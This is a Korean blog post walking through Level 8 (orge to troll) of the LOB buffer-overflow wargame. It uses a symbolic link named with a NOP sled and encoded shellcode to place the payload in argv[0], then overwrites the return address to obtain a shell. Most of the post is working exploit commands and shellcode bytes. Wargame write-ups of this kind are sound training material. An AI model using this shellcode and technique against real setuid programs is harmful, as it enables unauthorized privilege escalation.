Profile

머리정리하는곳

c2w2m2

[Level 8] orge -> troll


먼저 코드를 봅시다, 


argv[2] 금지, buffer, argv[1] 초기화


즉, buffer 과 argv 를 이용해서 shellcode를 올릴수 없다는 이야기입니다,,,


하지만 우리는 저번에 문제를 풀었던 심볼릭 링크를 이용해서 argv[0]에 shellcode 를 넣을수 있습니다.




저번처럼 맨 마지막에 


printf ("%p\n", argv[0]);


을 추가해 줍니다.


그리고 심볼릭 링크를 걸어줍시다.



 ln -s exp `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`




그리고 실행시켜 보면


0xbffff95b 가 나오는데 이것이 argv[0]의 주소입니다.


그러므로



./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x5b\xf9\xff\xbf"'`


이렇게 실행하면 exp의 쉘이 따집니다 !


그럼 troll을 공격해봅시다.


exp에 걸린 심볼릭 링크를 삭제해주고



rm -f `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`



troll 로 다시 심볼릭 링크를 걸어줍시다.



ln -s troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`



그리고 공격 !



./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x5b\xf9\xff\xbf"'`




클리어!


'Pwnable > LOB' 카테고리의 다른 글

[Level10] vampire -> skeleton  (0) 2017.05.17
[Level9] troll -> vampire  (0) 2017.05.17
[Level7] darkelf -> orge  (0) 2017.05.17
[Level6] wolfman -> darkelf  (0) 2017.05.17
[Level5] orc -> wolfman  (0) 2017.05.17